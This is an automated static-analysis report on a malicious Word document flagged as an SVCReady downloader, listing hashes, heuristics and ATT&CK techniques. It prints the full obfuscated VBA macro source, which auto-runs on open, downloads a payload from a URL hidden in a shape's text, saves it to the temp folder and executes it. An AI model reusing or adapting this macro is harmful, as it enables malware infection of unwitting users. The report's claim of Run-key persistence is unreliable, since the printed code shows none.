Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 78ae284dc89a379d…

MALICIOUS

Office (OOXML)

113.2 KB Created: 2020-07-31 09:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: cf663c1b43e3c83e48329b85196bfbf3 SHA-1: dfa4c03ba0c8b4bfcd6abc4538226b72529104c4 SHA-256: 78ae284dc89a379d49cc75a275595f5cfa3c65faeeceb6b4109b8cd7348ae548
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that utilizes WScript.Shell and CreateObject to execute commands. The script appears to download a second-stage payload to the user's temporary directory and attempts to establish persistence by writing to the Run key. The presence of `Shell()` and `WScript.Shell` usage strongly indicates a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function dc347ffc(a218b572)
    Set e2f8a75b = VBA.CreateObject("wscript.shell")
    Call e2f8a75b.exec(a218b572)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function dc347ffc(a218b572)
    Set e2f8a75b = VBA.CreateObject("wscript.shell")
    Call e2f8a75b.exec(a218b572)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AutoOpen()
    Dim dbd05fda As New d2fdda39
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function c7193999()
    c7193999 = Environ("temp") & "\main.theme"
    End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3236 bytes
SHA-256: 0b229fd888ef4365cebfaa4732d05921d583e88d981ce5866773c289f5d0b8d7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "c8ee96d6"
Function e613cb61()
e613cb61 = 5860.9477604747
End Function
Function c64c5cef()
c64c5cef = ActiveWindow.Document
End Function
Sub AutoOpen()
Dim dbd05fda As New d2fdda39
Dim b606fa2e As String
b606fa2e = bcf45692(ActiveDocument.Shapes(1).AlternativeText)
c2810b5d = dbd05fda.f2a9b210(b606fa2e, "")
cf5cfecd c7193999, c2810b5d
dbd05fda.dc347ffc c6d219db & " " & c7193999
End Sub

Attribute VB_Name = "a244162d"
Function b20f1191()
b20f1191 = Application.ActiveDocument.ClickAndTypeParagraphStyle
End Function
Function b0889e0e(f7596132np As String) As Boolean
If 411 - 43 <> Len(f7596132np) Then
b0889e0e = False
End If
End Function
Sub cf5cfecd(dcc6da02, b6f164d2)
Dim e4bb3085
e4bb3085 = FreeFile
Open dcc6da02 For Output As #e4bb3085
Print #e4bb3085, b52818c2(b6f164d2)
Close #e4bb3085
End Sub
Function c7193999()
c7193999 = Environ("temp") & "\main.theme"
End Function
Function f03a3a65()
f03a3a65 = ActiveWindow.IMEMode
End Function
Function e90f72ad()
e90f72ad = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function bcf45692(d3de90b6)
'bcf45692 = StrReverse(d3de90b6)
bcf45692 = d3de90b6
End Function
Function f089efc4()
f089efc4 = ActiveWindow.DisplayRulers
End Function
Function eb9459cc(c8350490np As String) As Boolean
If Len(c8350490np) = 910 Then
eb9459cc = True
End If
End Function
Sub a0e0eaa0()
End Sub
Function c4616ef4()
c4616ef4 = Application.ActiveDocument.AutoHyphenation
End Function
Function a0186dad()
a0186dad = Application.ActiveDocument.AutoHyphenation
End Function
Function b52818c2(b6f164d2)
b52818c2 = StrConv(b6f164d2, 64)
End Function
Function a0a91acc()
a0a91acc = "atYPud"
End Function
Function bb7493e5()
bb7493e5 = ActiveWindow.VerticalPercentScrolled
End Function
Function c6d219db()
c6d219db = bcf45692(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "d2fdda39"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function c647a24c()
c647a24c = ActiveWindow.Index
End Function
Function d8e8625c()
d8e8625c = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function f2a9b210(e590dcaa, b6f8e514)
Dim a4dfe297 As Object
Set a4dfe297 = New MSXML2.XMLHTTP60
Call a4dfe297.Open("GET", e590dcaa, False)
a4dfe297.Send
f2a9b210 = a4dfe297.responsebody
End Function
Function b2787b6c()
b2787b6c = ActiveWindow.Hwnd
End Function
Function e2486ca8(bab7b097 As Long) As Long
Dim af041bd2 As Long
For af041bd2 = 31 To 52 Step 4
bab7b097 = bab7b097 + af041bd2
Next af041bd2
e2486ca8 = bab7b097
End Function
Function dc347ffc(a218b572)
Set e2f8a75b = VBA.CreateObject("wscript.shell")
Call e2f8a75b.exec(a218b572)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 208e33e38982c8e48b0b6b8e153c52c40f6b0c1ceaad11aede4113610927b2a2